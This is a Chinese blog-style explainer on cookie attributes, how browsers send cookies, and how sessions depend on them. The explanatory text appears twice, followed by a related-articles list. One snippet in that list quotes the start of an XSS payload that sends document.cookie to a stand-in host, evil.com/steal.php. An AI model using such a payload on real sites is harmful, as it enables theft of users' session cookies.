Cookie是一段不超过4KB的小型文本数据,由一个名称(Name)、一个值(Value)和其它几个用于控制Cookie有效期、安全性、使用范围的可选属性组成。其中 [3]  :

(1)Name/Value:设置Cookie的名称及相对应的值,对于认证Cookie,Value值包括Web服务器所提供的访问令牌 [3]  。

(2)Expires属性:设置Cookie的生存期。有两种存储类型的Cookie:会话性与持久性。Expires属性缺省时,为会话性Cookie,仅保存在客户端内存中,并在用户关闭浏览器时失效;持久性Cookie会保存在用户的硬盘中,直至生存期到或用户直接在网页中单击“注销”等按钮结束会话时才会失效 [3]  。

(3)Path属性:定义了Web站点上可以访问该Cookie的目录 [3]  。

(4)Domain属性:指定了可以访问该 Cookie 的 Web 站点或域。Cookie 机制并未遵循严格的同源策略,允许一个子域可以设置或获取其父域的 Cookie。当需要实现单点登录方案时,Cookie 的上述特性非常有用,然而也增加了 Cookie受攻击的危险,比如攻击者可以借此发动会话定置攻击。因而,浏览器禁止在 Domain 属性中设置.org、.com 等通用顶级域名、以及在国家及地区顶级域下注册的二级域名,以减小攻击发生的范围 [3]  。

(5)Secure属性:指定是否使用HTTPS安全协议发送Cookie。使用HTTPS安全协议,可以保护Cookie在浏览器和Web服务器间的传输过程中不被窃取和篡改。该方法也可用于Web站点的身份鉴别,即在HTTPS的连接建立阶段,浏览器会检查Web网站的SSL证书的有效性。但是基于兼容性的原因(比如有些网站使用自签署的证书)在检测到SSL证书无效时,浏览器并不会立即终止用户的连接请求,而是显示安全风险信息,用户仍可以选择继续访问该站点。由于许多用户缺乏安全意识,因而仍可能连接到Pharming攻击所伪造的网站 [3]  。

(6)HTTPOnly 属性 :用于防止客户端脚本通过document.cookie属性访问Cookie,有助于保护Cookie不被跨站脚本攻击窃取或篡改。但是,HTTPOnly的应用仍存在局限性,一些浏览器可以阻止客户端脚本对Cookie的读操作,但允许写操作;此外大多数浏览器仍允许通过XMLHTTP对象读取HTTP响应中的Set-Cookie头 [3]  。

cookie 是怎么工作的?

首先必须明确一点,存储cookie是浏览器提供的功能。cookie 其实是存储在浏览器中的纯文本,浏览器的安装目录下会专门有一个 cookie 文件夹来存放各个域下设置的cookie。

当网页要发http请求时,浏览器会先检查是否有相应的cookie,有则自动添加在request header中的cookie字段中。这些是浏览器自动帮我们做的,而且每一次http请求浏览器都会自动帮我们做。这个特点很重要,因为这关系到“什么样的数据适合存储在cookie中”。

存储在cookie中的数据,每次都会被浏览器自动放在http请求中,如果这些数据并不是每个请求都需要发给服务端的数据,浏览器这设置自动处理无疑增加了网络开销;但如果这些数据是每个请求都需要发给服务端的数据(比如身份认证信息),浏览器这设置自动处理就大大免去了重复添加操作。所以对于那设置“每次请求都要携带的信息(最典型的就是身份认证信息)”就特别适合放在cookie中,其他类型的数据就不适合了。

但在 localStorage 出现之前,cookie被滥用当做了存储工具。什么数据都放在cookie中,即使这些数据只在页面中使用而不需要随请求传送到服务端。当然cookie标准还是做了一些限制的:每个域名下的cookie 的大小最大为4KB,每个域名下的cookie数量最多为20个(但很多浏览器厂商在具体实现时支持大于20个)。

session称为“会话控制”,Session 对象存储特定用户会话所需的属性及配置信息。

session有什么作用?

session是用来解决Http协议不能维持状态的问题。session只存储在服务器端的,不会在网络中进行传输,所以session是相对安全的。session是依赖cookie的,当用户访问某一站点时,服务器会为这个用户产生唯一的session_id,并把这个session_id以cookie的形式发送到客户端,以后的客户端的所有请求都会自动携带这个cookie。

是一段不超过4KB的小型文本数据,由一个名称(Name)、一个值(Value)和其它几个用于控制Cookie有效期、安全性、使用范围的可选属性组成。其中 [3]  :

(1)Name/Value:设置Cookie的名称及相对应的值,对于认证Cookie,Value值包括Web服务器所提供的访问令牌 [3]  。

(2)Expires属性:设置Cookie的生存期。有两种存储类型的Cookie:会话性与持久性。Expires属性缺省时,为会话性Cookie,仅保存在客户端内存中,并在用户关闭浏览器时失效;持久性Cookie会保存在用户的硬盘中,直至生存期到或用户直接在网页中单击“注销”等按钮结束会话时才会失效 [3]  。

(3)Path属性:定义了Web站点上可以访问该Cookie的目录 [3]  。

(4)Domain属性:指定了可以访问该 Cookie 的 Web 站点或域。Cookie 机制并未遵循严格的同源策略,允许一个子域可以设置或获取其父域的 Cookie。当需要实现单点登录方案时,Cookie 的上述特性非常有用,然而也增加了 Cookie受攻击的危险,比如攻击者可以借此发动会话定置攻击。因而,浏览器禁止在 Domain 属性中设置.org、.com 等通用顶级域名、以及在国家及地区顶级域下注册的二级域名,以减小攻击发生的范围 [3]  。

(5)Secure属性:指定是否使用HTTPS安全协议发送Cookie。使用HTTPS安全协议,可以保护Cookie在浏览器和Web服务器间的传输过程中不被窃取和篡改。该方法也可用于Web站点的身份鉴别,即在HTTPS的连接建立阶段,浏览器会检查Web网站的SSL证书的有效性。但是基于兼容性的原因(比如有些网站使用自签署的证书)在检测到SSL证书无效时,浏览器并不会立即终止用户的连接请求,而是显示安全风险信息,用户仍可以选择继续访问该站点。由于许多用户缺乏安全意识,因而仍可能连接到Pharming攻击所伪造的网站 [3]  。

(6)HTTPOnly 属性 :用于防止客户端脚本通过document.cookie属性访问Cookie,有助于保护Cookie不被跨站脚本攻击窃取或篡改。但是,HTTPOnly的应用仍存在局限性,一些浏览器可以阻止客户端脚本对Cookie的读操作,但允许写操作;此外大多数浏览器仍允许通过XMLHTTP对象读取HTTP响应中的Set-Cookie头 [3]  。

cookie 是怎么工作的?

首先必须明确一点,存储cookie是浏览器提供的功能。cookie 其实是存储在浏览器中的纯文本,浏览器的安装目录下会专门有一个 cookie 文件夹来存放各个域下设置的cookie。

当网页要发http请求时,浏览器会先检查是否有相应的cookie,有则自动添加在request header中的cookie字段中。这些是浏览器自动帮我们做的,而且每一次http请求浏览器都会自动帮我们做。这个特点很重要,因为这关系到“什么样的数据适合存储在cookie中”。

存储在cookie中的数据,每次都会被浏览器自动放在http请求中,如果这些数据并不是每个请求都需要发给服务端的数据,浏览器这设置自动处理无疑增加了网络开销;但如果这些数据是每个请求都需要发给服务端的数据(比如身份认证信息),浏览器这设置自动处理就大大免去了重复添加操作。所以对于那设置“每次请求都要携带的信息(最典型的就是身份认证信息)”就特别适合放在cookie中,其他类型的数据就不适合了。

但在 localStorage 出现之前,cookie被滥用当做了存储工具。什么数据都放在cookie中,即使这些数据只在页面中使用而不需要随请求传送到服务端。当然cookie标准还是做了一些限制的:每个域名下的cookie 的大小最大为4KB,每个域名下的cookie数量最多为20个(但很多浏览器厂商在具体实现时支持大于20个)。

session称为“会话控制”,Session 对象存储特定用户会话所需的属性及配置信息。

session有什么作用?

session是用来解决Http协议不能维持状态的问题。session只存储在服务器端的,不会在网络中进行传输,所以session是相对安全的。session是依赖cookie的,当用户访问某一站点时,服务器会为这个用户产生唯一的session_id,并把这个session_id以cookie的形式发送到客户端,以后的客户端的所有请求都会自动携带这个cookie。

Cookie的理解含义相关推荐

  1. session 和cookie的理解

    session和cookie可以这样理解: 1. 由于HTTP协议是无状态的协议,所以服务端需要记录用户的状态时,就需要用某种机制来识具体的用户,这个机制就是Session.典型的场景比如购物车,当你 ...

  2. 对 eval(‘new Image().src=....ment.cookie) 的理解

    前言 在web前端黑客技术揭秘的1.2中有这么个例子: eval('new Image().src="http://www.evil.com/steal.php?c="+escap ...

  3. RTB中的cookie mapping理解

    使用场景如下 对于常规的网络用户,Cookie 匹配功能会如何在后台运作?我们来看看以下两种情况. 第 1 种情况:清除 Cookie 小丽清除了缓存中的所有 Cookie.随后,她访问了 Examp ...

  4. 对Cookie的理解

    Cookie的中文意思为"小甜饼","小型文本文件".在互联网术语里,Cookie是一段加密的数据,存储在客户端,为了让网站或者服务器用来识别用户身份和读取用户 ...

  5. 学习Java过程中那些知道名字却不理解含义的大集合

    每次和其他人讨论的时候总会出现,别人说一个术语或者一个英文简称我总是一脸懵逼,脑袋里的想法就是:听过很多次这个词,但就是不理解是什么意思.所以总结了一下我遇到的一些词,并查询了一些资料终于把它们弄懂了 ...

  6. Cors跨域(二):实现跨域Cookie共享的三要素

    高考不努力,工地里当兄弟 前言 你好,我是YourBatman. 上篇文章(Cors跨域(一):深入理解跨域请求概念及其根因)用超万字的篇幅把Cors几乎所有概念都扫盲了,接下来将逐步提出解决方案等实 ...

  7. 安全cookie setSecure详解

    http://www.coin163.com/java/docs/201304/d_2775029502.html 在cas中或其他web开发中,会碰到安全cookie的概念,因为CAS中TGT是存放 ...

  8. #HTTP协议学习# (七)cookie

    本文转自:http://www.cnblogs.com/TankXiao/archive/2012/12/12/2794160.html Cookie是HTTP协议中非常重要的东西, 之前拜读了Fis ...

  9. C++ 内存基本构件new [] /delete []的意义、内存泄漏原因、VC下cookie的基本布局

    目录 一.对new [] delete [] 的理解 1.delete的[]遗漏会带来什么影响 二.以示例探讨 三.cookie的理解 一.对new [] delete [] 的理解 new的对象是个 ...

最新文章

  1. 实现nginx上配置免费证书Let's Encrypt
  2. WPF基础入门 - 1
  3. Python中的argparse模块
  4. 进程分析命令(持续更新中)
  5. 函数的傅立叶展开掐死我吧_关于文章《傅里叶分析之掐死教程》的再一点小思考...
  6. ToString:身份哈希码的十六进制表示形式
  7. 高并发服务器开源项目,百万级高并发WebRTC流媒体服务器设计与开发(示例代码)...
  8. [导入]Linux下载工具利器ProZilla和ProzGUI
  9. md5加密离线工具windwos,ubuntu
  10. 用优启通制作U盘启动盘教程(UEFI版)
  11. [DDC]Deep Domain Confusion: Maximizing for Domain Invariance
  12. Safair浏览器 时间戳转化兼容性问题。
  13. 我的世界win10java_我的世界java版和win10版的区别
  14. 数据分析从零到精通第三课 python自动化和BI数据可视化实战
  15. 删除共享文件凭据脚本
  16. 如何实现一个脚本语言?
  17. Python列表、元组、字典 集合简单基础
  18. SSL数字证书申请要多少钱?
  19. fiddler抓手机包使用步骤
  20. 单一修改高程值lisp_浅谈AutoCAD中修改高程的四种方法

热门文章

  1. Spanable和span使用
  2. linux纯命令行怎么下载,如何从Linux命令行轻松分享文件
  3. 计算机图形学的齐次坐标的理解
  4. 宽温版RK3399K核心板已上线
  5. android模拟器 平安行,携手MuMu模拟器,PC端畅游平安京
  6. ISFP型人格的优势和劣势分析(mbti性格测试)
  7. 【intel IPP库历史版本下载】
  8. 智能网联汽车ASIL安全等级如何划分
  9. stlinkv2stm32接线_stm32 st-link v2 烧写 连接 图
  10. 双精度浮点数的输入输出